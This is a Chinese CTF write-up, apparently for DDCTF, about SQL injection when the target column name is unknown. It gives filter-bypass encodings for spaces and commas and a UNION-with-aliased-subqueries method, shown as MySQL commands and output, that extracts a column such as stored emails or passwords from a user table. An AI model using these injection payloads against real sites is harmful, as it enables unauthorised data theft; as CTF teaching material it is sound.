前言
本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:
实现思路
题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;
存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:
思想就是获取flag,让其在已知字段名下出现;
示例代码:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ a b c d +---+---+---+---+ 1 2 3 4 +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ 1 2 3 4 +---+---+---+---+ 1 2 3 4 +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ 1 2 3 4 +---+-------+----------+-------------+ 1 2 3 4 1 admin admin888 110@110.com 2 test test123 119@119.com 3 cs cs123 120@120.com +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ 4 +-------------+ 4 110@110.com 119@119.com 120@120.com +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ 4 +-------------+ 120@120.com +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ id username password email +-------------+----------+----------+-------------+ 1 admin admin888 110@110.com 120@120.com 1 1 1 +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
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